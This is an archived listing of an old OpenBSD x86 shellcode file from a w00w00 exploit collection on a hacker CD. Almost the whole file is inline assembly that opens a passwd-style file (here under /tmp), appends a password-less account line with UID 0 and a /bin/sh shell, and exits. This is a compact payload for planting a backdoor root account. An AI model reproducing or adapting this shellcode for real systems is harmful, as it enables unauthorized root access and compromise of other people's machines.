home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / openbsd / pass.s < prev   
Encoding:
Text File  |  1998-08-13  |  797 b   |  46 lines

  1. main()
  2. {
  3.    asm("
  4.   
  5.     jmp 43
  6.     popl %esi
  7.     xorl %eax,%eax
  8.     movb %eax,11(%esi)
  9.     movb %eax,41(%esi)
  10.     pushl %eax
  11.     movb $9,%al
  12.     pushl %eax
  13.     xorl %eax,%eax
  14.     pushl %esi
  15.     pushl %eax
  16.     movb $0x5,%al
  17.     int $0x80
  18.  
  19.     movl %eax,%ebx
  20.     pushl $29
  21.     leal 12(%esi),%eax
  22.     pushl %eax
  23.     pushl %ebx
  24.     pushl %eax
  25.     xorl %eax,%eax
  26.     movb $0x4,%al
  27.     int $0x80
  28.  
  29.     xorl %eax,%eax
  30.     movb $0x1,%al
  31.     int $0x80
  32.   
  33.   
  34.   
  35.   chaine:
  36.       call   -48
  37.       .ascii \"/tmp/passwd0\"
  38.       .ascii \"w00w00::0:0:w00w00:/:/bin/sh\n0\"  # 29
  39.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  40.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  41.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  42.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  43.       .byte 0x00
  44.   ");
  45. }
  46.